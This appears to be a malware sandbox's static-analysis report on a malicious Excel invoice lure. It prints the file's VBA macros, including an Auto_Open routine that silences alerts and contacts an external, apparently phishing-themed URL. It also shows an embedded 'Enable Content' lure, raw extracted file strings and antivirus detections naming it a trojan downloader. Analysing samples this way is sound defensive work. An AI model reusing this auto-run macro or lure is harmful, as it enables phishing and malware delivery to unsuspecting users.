Static | ZeroBOX

Original


                                        Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Deobfuscated


                                        Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Original


                                        Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Deobfuscated


                                        Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                    

Original


                                        Attribute VB_Name = "Module1"
Sub Auto_Open()
            Application.DisplayAlerts = False
            Dim result As String
            Dim myURL As String
            Dim winHttpReq As Object
            Set winHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
            myURL = "https://source-london-login-a44c-44d1-bc9b-a.e-voicemail.com/api/Analytics/Macro?iid=1511a0be-b05f-473d-8f41-5800f48cba12"
            winHttpReq.Open "GET", myURL, False
            winHttpReq.Send
            result = winHttpReq.responseText
            End Sub

                                    

Deobfuscated


                                        Attribute VB_Name = "Module1"
Sub Auto_Open()
            Application.DisplayAlerts = False
            Dim result As String
            Dim myURL As String
            Dim winHttpReq As Object
            Set winHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
            myURL = "https://source-london-login-a44c-44d1-bc9b-a.e-voicemail.com/api/Analytics/Macro?iid=1511a0be-b05f-473d-8f41-5800f48cba12"
            winHttpReq.Open "GET", myURL, False
            winHttpReq.Send
            result = winHttpReq.responseText
            End Sub

                                    
[Content_Types].xml
_rels/.rels
r:"y_dl
xl/workbook.xml
h4+Q\Q
'Pmy:n.A0
xl/_rels/workbook.xml.rels
aU^_-_
xl/worksheets/sheet1.xml
dX%(%Z
HM-qI,I
xl/theme/theme1.xml
k8(4|OH
bP{}2!#
RSLX"7
%Cr`%R.
=|d#a[
|]p+~o
xl/styles.xml
g"$Q4<8
xl/drawings/drawing1.xml
xl/media/image1.png
iTXtXML:com.adobe.xmp
<?xpacket begin='
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
<rdf:Description rdf:about=''
xmlns:Attrib='http://ns.attribution.com/ads/1.0/'>
<Attrib:Ads>
<rdf:Seq>
<rdf:li rdf:parseType='Resource'>
<Attrib:Created>2021-06-24</Attrib:Created>
<Attrib:ExtId>ddf7a613-c6bc-4b05-9500-0aaeb7a44e5c</Attrib:ExtId>
<Attrib:FbId>525265914179580</Attrib:FbId>
<Attrib:TouchType>2</Attrib:TouchType>
</rdf:li>
</rdf:Seq>
</Attrib:Ads>
</rdf:Description>
<rdf:Description rdf:about=''
xmlns:dc='http://purl.org/dc/elements/1.1/'>
<dc:title>
<rdf:Alt>
<rdf:li xml:lang='x-default'>This document has been encrypted to protect your sensitive data Please click &quot;Enable Content &quot; to view the invoice</rdf:li>
</rdf:Alt>
</dc:title>
</rdf:Description>
<rdf:Description rdf:about=''
xmlns:pdf='http://ns.adobe.com/pdf/1.3/'>
<pdf:Author>Buket Kasabal
</pdf:Author>
</rdf:Description>
<rdf:Description rdf:about=''
xmlns:xmp='http://ns.adobe.com/xap/1.0/'>
<xmp:CreatorTool>Canva</xmp:CreatorTool>
</rdf:Description>
</rdf:RDF>
</x:xmpmeta>
<?xpacket end='r'?>
]EQxm}
qljw&t
oez#G2
@wKr.}
v~<pC .
f^N|4$
G;5y%:
hfm;eS
U[%z#/
-g;V<
nM,vS+
XwI%2';5]C
CE4i8JX
c8hT4i
nVoK'g[
j6(0ee"
2Ptf'_
'ifLw
Vm]kcP
Ck},EQxm}
xgc*~n
QDBF!'
;QQQxyyY}
+olbgg
)CNNNh4R
Ew% s1
fK`jInN
$D]1s{
Ez;O?
QBQIcz>
[VVFBB
kJHH >>
j"##+
`oo_c0
WuijEM
P5h,))
k@PPPe
ZA]efd
GGGBCC+:t
5)F#^^^
3r<cnqb
x7n\~{X
BodP;w
;IBl,q
OZ|jVA
g~{1}o<
T:OCool
q+ibTrO
-**"77
<-999
pvv&00
ptt$00
pvv&))
#3)))L
quu%>>
8BBBHMM
HMM%<<
3gHOO'//
,--IHH
W),,DOO
3066&--
V*m~~>
[[[$I"((
1c000`
Q[}}}F
$BBBtek
aaadgg
=z`ccCRRR
OOO]pR
===RRRti###K
ajjJNN
HLL$))
affFTT
!!!DDD
|||t#C999e
QUgggd2
fM"""t
BCC122
SJ255e
)))DDD`nn
>]q_Rsm
pBCCQ(
KkddD``
zO_%m\
7++KJJJ
%;;[JJJ
EEERrr
grK2333
'N```P
WCnK=G
Mh1f3)
bq}.\$&UMM7g
KJIbJC1
V5\xLY>X
ig0s;;
-:1|xG
[P*u_t!?1
jUj{e}d
43"qk9
-gff2c
>Ljj*
Y8::2c
rrrppp
y$%%1c
5KWfzz:
8;;c``@||<+W
9DGGc``
Tiii$''
>nnndee
dffbjjJ
b``@ZZ
>}:^^^|
)VVVh4
qqqxyy1g
LZwww&L
lllHJJ
cbbBll,w
d2rssu
),,$""B
<G-ooo
ajjJNN
7obhhH
jG8KN[
Pg"Tqr
KJJ"==
vI-///
$$$`gg
bllLDD
$00P[6%%
RRRpvv&""
333233
HII!**
"""033+
Dhh('O
^SSS&L
fff$''
033#$$
?##CJLL|
Z0rdm.o
jjvqgG
{q7;"s
|Bzz:>>>t
AGnn.*
$%%QXXH^^
;&&&4m
wqqq!99
Wc``~]
,X@~~>
{333INN&%Ew+
888`jj
nY|||J<n
ooo233Y
qqqDDD
bbb033
E}}}&N
ir{cbb
&$$PPPP
Zfy{{{
pww'<<
sIII,_
j233ur
ooorssY
Htt4111
qC{<==
RIvv6>>>
gffjWVi
\|||8u
baaALL
qqqxxx
000 ,,
033#99
Qb]VKKK
!"""J=
&`mm]n{
9'KKK>
UPP@ZZ
999X[[Wz
MLLJ]6
gX1r03
Ey=rsK
Z@a4~Kg
???bcc),,
!C044,
HNN&==][N
nnnX[[
HHH ((H
+V`nnNzz:'N
@QPmhhHtt4yyy
VkGSCCCQ
MYpuu-
Jdd$zzz
;w.>>>
WWWRRR
pss#::
sPXXHZZ
--CCnwsDD~3v
FtEDDD
RTTD@@
yyyy1t
(,,$$$
_~Ibb"
9r$~~~5~
<y2QQQ
)--%))
k^pjj*
>}:111
|rss)++
IKK3F-k3m
*W>?''
+}DFFV
ys"""HKK#55
.P^^N``
wS\\Ldd
_?<==IKK#==
$%%Q\\l
nRSS9t
1Fp]bcc
>>>DEEUy
>Kzz:c
qaa!#F
xzzVY>22
xyyQVV
RrrrHKK3
RSS)**2
xxxPRR
Ddd$!!!
S^^Npp0
&JJJ())
1%Kyyy
v7CLN#
S""""bJ
""""bJ
""""bJ
""""bJ
""""bJ
""""bJ
""""bJ
""""bJ
""""bJ
""""bJ
""""bJ
""""bJ
""""bJ
""""bJ
xl/vbaProject.bin
}hUUQZUM
G/fV-`
URY_N&
b3xGp[
SF:Ye}
!916*e
xl/worksheets/_rels/sheet1.xml.rels
xl/drawings/_rels/drawing1.xml.rels
NHn_C7
vX~3`~`
docProps/core.xml
PODtDJ1!
docProps/app.xml
[Content_Types].xmlPK
_rels/.relsPK
xl/workbook.xmlPK
xl/_rels/workbook.xml.relsPK
xl/worksheets/sheet1.xmlPK
xl/theme/theme1.xmlPK
xl/styles.xmlPK
xl/drawings/drawing1.xmlPK
xl/media/image1.pngPK
xl/vbaProject.binPK
xl/worksheets/_rels/sheet1.xml.relsPK
xl/drawings/_rels/drawing1.xml.relsPK
docProps/core.xmlPK
docProps/app.xmlPK
Antivirus Signature
Bkav Clean
Lionic Trojan.MSExcel.Valyria.4!c
Elastic malicious (high confidence)
MicroWorld-eScan VB:Trojan.Valyria.4802
FireEye VB:Trojan.Valyria.4802
CAT-QuickHeal Clean
ALYac Clean
Malwarebytes Clean
VIPRE Clean
Sangfor Clean
Trustlook Clean
BitDefender VB:Trojan.Valyria.4802
K7GW Clean
K7AntiVirus Clean
Arcabit Clean
BitDefenderTheta Clean
Cyren Clean
Symantec Clean
ESET-NOD32 VBA/TrojanDownloader.Agent.TTN
Baidu Clean
TrendMicro-HouseCall Clean
Avast SNH:Script [Dropper]
ClamAV Clean
Kaspersky Clean
Alibaba TrojanDownloader:VBA/Agent.fc3ab284
NANO-Antivirus Clean
ViRobot Clean
Tencent Win32.Trojan-downloader.Agent.Hvtf
Ad-Aware VB:Trojan.Valyria.4802
Emsisoft VB:Trojan.Valyria.4802 (B)
Comodo Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition Artemis!Trojan
CMC Clean
Sophos Clean
SentinelOne Clean
GData VB:Trojan.Valyria.4802
Jiangmin Clean
Avira VBA/Dldr.Agent.njzgk
MAX malware (ai score=82)
Antiy-AVL Trojan/Generic.ASMacro.2CFCB
Kingsoft Clean
Gridinsoft Clean
Microsoft Trojan:Script/Wacatac.B!ml
SUPERAntiSpyware Clean
ZoneAlarm Clean
Avast-Mobile Clean
Cynet Malicious (score: 99)
AhnLab-V3 Clean
Acronis Clean
McAfee RDN/Generic Downloader.x
TACHYON Clean
VBA32 Clean
Zoner Clean
Rising Clean
Yandex Clean
Ikarus Trojan-Downloader.VBA.Agent
MaxSecure Clean
Fortinet VBA/Agent.TTN!tr.dldr
AVG SNH:Script [Dropper]
Panda Clean
Qihoo-360 Clean
No IRMA results available.